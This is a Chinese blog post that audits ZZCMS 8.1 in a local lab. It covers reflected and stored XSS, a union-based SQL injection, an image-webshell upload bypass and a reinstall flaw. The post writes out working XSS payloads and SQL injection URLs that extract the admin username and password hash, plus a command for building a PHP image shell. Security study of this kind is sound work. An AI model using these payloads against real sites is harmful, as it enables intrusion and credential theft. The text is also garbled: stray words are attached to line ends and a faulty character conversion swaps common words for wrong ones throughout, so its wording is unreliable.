ZZCMS8.1|代碼審計

這周的審計任務php

ZZCMS8.1是站長招商網內容管理系統。審計這個CMS的緣由不少,這裏就不詳說了(實際上是漏洞類型多點html

 

                                                                            環境搭建                                     mysql

1,虛擬機win7 32位,用wamserver或者phpstudy搭建環境。正則表達式

2,ZZCMS8.1源碼(已分享連接)放到WWW目錄下面sql

3,安裝,訪問(  http://127.0.0.1/zzcms8.1/install  ),若是提示咱們安裝嚮導已經安裝過,重安裝需刪除根目錄下的 /install/install.lock 文件。刪除以後再從新訪問該安裝頁面(  http://127.0.0.1/zzcms8.1/install  )。一路選擇下一步,直到設置頁面,建立數據庫......安裝完成。shell

 

 

                                                                            代碼審計數據庫

審計的時候固然不是漫無目的的直接一個一個看php文件,先拿出來咱們的代碼審計工具掃一下(上篇文章提到),下面將會經過幾個漏洞類型提到apache

先附圖一張工具自動審計的漏洞,不過誤報率很高。數組

 

 

XSS漏洞瀏覽器

能夠說是最簡單的一個漏洞了,先看一下

連接(http://127.0.0.1/zzcms8.1/uploadimg_form.php),問題出在uploadimg_form.php裏面輸出語句有可控變量,而且沒有過濾,從而形成XSS漏洞

value="<?php echo @$_GET['imgid']?>"上圖68行能夠清楚的看到imgid是沒有過濾直接輸出的。

所以能夠直接構造XSS的payload:http://127.0.0.1/zzcms8.1/uploadimg_form.php?imgid="><script>alert(/orange/)</script><"

 

這個頁面是須要登錄的

登錄驗證代碼

<?php
if(!isset($_SESSION)){session_start();}
if (!isset($_COOKIE["UserName"]) && !isset($_SESSION["admin"])){
session_write_close();
echo "No Login!";
exit;
}
?>

若是你不想登錄的話,能夠註釋掉登錄的代碼就好。還有其餘處存在XSS。這裏只寫這一處反射型XSS。

 

 

存儲型XSS漏洞

通常來講存儲型XSS漏洞都在留言板什麼的地方,沒有加以過濾,直接寫入數據庫中,管理員審覈的時候從數據庫中提取數據,這裏能夠構造payload,從而能夠進行XSS攻擊,有的獲取管理員的cookie信息,進而進行下一步攻擊。

咱們首先黑盒測試一下,打開一個提問問題的頁面(http://127.0.0.1/zzcms8.1/ask/askadd.php),提問問題,這個時候就開始寫payload而後發佈。

payload:"><script>alert(/a/)</script>

而後咱們管理員權限登進後臺,信息模塊-->問答信息管理。可是很無奈,個人顯示沒有權限,不過不要緊,咱們去數據庫直接進行查看,找到zzcms_ask表,查看其中內容,能夠看到標題是通過轉義的,然而內容卻沒有通過轉義,直接存在了數據庫中,所以這裏就有可能形成存儲型XSS漏洞

 

如今查看源碼分析一下

打開/ask/askadd.php頁面

看到198行對數據庫中的content內容進行POST接收

$content=str_replace("'","",stripfxg(trim($_POST["content"])));

首先標題title接收到,通過trim函數移除了兩側的字符,trim()函數的意思是移除字符串兩側的空白字符或其餘預約義字符,而後就把title接收到了

其次是content,這個進行了一系列的過濾,首先通過trim函數移除了兩側的字符,而後經過stripfxg函數去除反斜槓,追蹤自定義stripdxg函數,在/inc/function.php中528行發現

最後再去content參數經過str_replace()函數進行過濾,這個函數把 ' 替換成空,

後面還有一個$img=getimgincontent($content),getimgincontent()自定義函數這個能夠在/inc.function.php中210行找到

正如這個函數名字同樣,getimgincontent,從content中獲得img文件,getimgincontent()函數經過正則表達式,匹配出gif|.jpg|.png|.bmp文件

不過這裏此刻對於content是沒什麼影響的,最後判斷一下title是否是爲空,接收到以後進而存入數據庫中,

若是看了上面的還不明白爲何會把"><script>alert(/orange/)</script>直接存入數據庫,那就好好理解我下面的這段話

首先trim()函數的意思是移除字符串兩側的空白字符或其餘預約義字符,而後"><script>alert(/orange/)</script>不存在空白字符或者預約義字符,因此此時$content仍是"><script>alert(/orange/)</script>,而後stripfxg()函數去除反斜槓,然而"><script>alert(/orange/)</script>沒有反斜槓,因此$content仍是"><script>alert(/orange/)</script>,最後str_replace()函數進行單引號替換成空,可是"><script>alert(/orange/)</script>沒有單引號,因此通過一系列的"過濾",content的內容仍是"><script>alert(/orange/)</script>,而後就存入數據庫中,從而形成存儲型XSS漏洞。

/ask/show.php是展現上面提問的問題和答案的,追蹤過去show.php搜索content,能夠看到是沒有進行任何過濾的,所以這裏極大可能存在存儲型XSS漏洞。

 

 

 

 SQL注入漏洞

聯合查詢注入

漏洞所在文件是/admin/help_manage.php,其中在文件的第17行,

$b=isset($_REQUEST["b"])?$_REQUEST["b"]:'';

這裏$_REQUEST了變量b過去,zzcms對全局的post,get,request請求變量都作到了轉義,引號介入是不存在的,可是問題就出在$sql,變量$id是$_REQUEST的,並無通過過濾,這就形成了代碼注入了。

因爲代碼中有輸出這個查詢後數組顯示,咱們能夠用聯合查詢來直接獲取到管理員的帳號密碼,密碼是md5加密的

構造payload:http://127.0.0.1/zzcms8.1/admin/help_manage.php?b=-1+UNION+ALL+SELECT+1,2,3,4,5,6,(SELECT+CONCAT(IFNULL(CAST(database()+AS+CHAR),0x20),0x203a3a20,IFNULL(CAST(user()+AS+CHAR),0x20))+FROM+zzcms.zzcms_admin+LIMIT+0,1)%E2%80%93

上面首先查詢出當前數據庫和當前用戶名,以下面圖所示,數據庫是zzcms,用戶是root。

 

這個payload則是直接查看用戶帳號密碼的,帳號admin,密碼21232f297a57a5a743894a0e4a801fc3(admin)

payload:http://127.0.0.1/zzcms8.1/admin/help_manage.php
?b=-1+UNION+ALL+SELECT+1,2,3,4,5,6,(SELECT+CONCAT(0x757365723a20,IFNULL(CAST(admin+AS+CHAR),0x20),0x20706173733a2020,IFNULL(CAST(pass+AS+CHAR),0x20))+FROM+zzcms.zzcms_admin+LIMIT+0,1)%E2%80%93

 

 

 

 

 

 

 文件上傳漏洞

上傳漏洞致使getshell。上傳點(http://127.0.0.1/uploadimg_form.php或http://127.0.0.1/zzcms8.1/uploadimg_form.php)

這個上傳,檢測後綴名,只容許jpg,png,gif,bmp文件上傳,可是這裏咱們能夠利用圖片馬進行僞造上傳從而getshell。

圖片馬製做這裏提一下:CMD命令行製做,首先準備一個圖片.jpg,一個一句話php文件.php,而後用如下命令:copy 1.jpg/b+1.php 2.jpg

上面就製做成了圖片馬2.jpg。

 

 

圖片馬製做成功,接下來上傳,因爲個人虛機是沒有JAVA環境的,因此我在本機進行上傳(本機瀏覽器輸入x虛擬機IP就可訪問,前提是在同一網段,這個時候須要虛擬機進行橋接設置),上傳burpsuite進行抓包,將上傳的2.jpg改爲2.phtml,再進行上傳,進而上傳成功。

這個漏洞的根本在於apache會把phtml後綴的文件當成php文件來執行。

 

 

 

 

 

重裝漏洞

\zzcms8.1\install\index.php 11行/51行—90行

     $step = isset($_POST['step']) ? $_POST['step'] : 1;
    <?php
    switch($step) {
        case '1'://協議
            include 'step_'.$step.'.php';
        break;
        case '2'://環境
            $pass = true;
            $PHP_VERSION = PHP_VERSION;
            if(version_compare($PHP_VERSION, '4.3.0', '<')) {
                $php_pass = $pass = false;
            } else {
                $php_pass = true;
            }
            $PHP_MYSQL = '';
            if(extension_loaded('mysql')) {
                $PHP_MYSQL = '支持';
                $mysql_pass = true;
            } else {
                $PHP_MYSQL = '不支持';
                $mysql_pass = $pass = false;
            }
            $PHP_GD = '';
            if(function_exists('imagejpeg')) $PHP_GD .= 'jpg';
            if(function_exists('imagegif')) $PHP_GD .= ' gif';
            if(function_exists('imagepng')) $PHP_GD .= ' png';
            if($PHP_GD) {
                $gd_pass = true;
            } else {
                $gd_pass = false;
            }
            $PHP_URL = @get_cfg_var("allow_url_fopen");//是否支持遠程URL,採集有用
            $url_pass = $PHP_URL ? true : false;
            include 'step_'.$step.'.php';
        break;
        case '3'://查目錄屬性
            include 'step_'.$step.'.php';
        break;
        case '4'://建數據庫
            include 'step_'.$step.'.php';
        break;

 

這個ZZCMS也是經過 install.lock 來判斷是否已經安裝了的,而後咱們根據上面的代碼能夠看出 step 參數若是爲空的話,就默認從 1 開始,而後咱們跟進下 step_1.php 這個文件。

 

zzcms8.1\install\step_1.php 1行—5行

    <?php
    if(file_exists("install.lock")){
    echo "<div style='padding:30px;'>安裝嚮導已運行安裝過,如需重安裝,請刪除 /install/install.lock 文件</div>";
    }else{
    ?>

這個文件裏判斷了當前目錄下是否存在 install.lock 文件,若是存在就提示已經安裝了,那繼續看下 step_2.php 的內容。

 

zzcms8.1\install\step_2.php 1行—3行

    <?php
    if(@$step==2){
    ?>

 

這裏沒有繼續判斷是否存在 install.lock 文件,那繼續看下剩下的 step_3/4.php 裏有沒有判斷條件。

 

zzcms8.1\install\step_3.php 1行—5行

    <?php
    if(@$step==3){
    $token = md5(uniqid(rand(), true));  //uniqid() 函數基於以微秒計的當前時間,生成一個惟一的 ID。
    $_SESSION['token']= $token; 
    ?>

 

zzcms8.1\install\step_4.php 1行—9行

    <?php
    if(@$step==4){
    if ($_POST['token'] != $_SESSION['token'] || $_POST['token']=='' ){    
    echo "非法提交".$_POST['token']."<br>".$_SESSION['token'];
    exit();
    //}else{
    //unset($_SESSION['token']);
    }
    ?>

 

step_4.php 文件裏也沒有判斷 install.lock ,只是驗證了一下在 3 裏的那個 token ,因此,3 到 4 這個步驟不能越過,可是,這是個重裝漏洞是有的。

咱們只須要進入 install\index.php 路徑文件下,POST 一下 2 ,而後按順序走下去就重裝了這個CMS。

 

 

 

 

源碼分享(連接: https://pan.baidu.com/s/1pLr7w6Z 密碼: r326)

本文連接(http://www.cnblogs.com/Oran9e/p/7812106.html),轉載請註明。

相關文章
相關標籤/搜索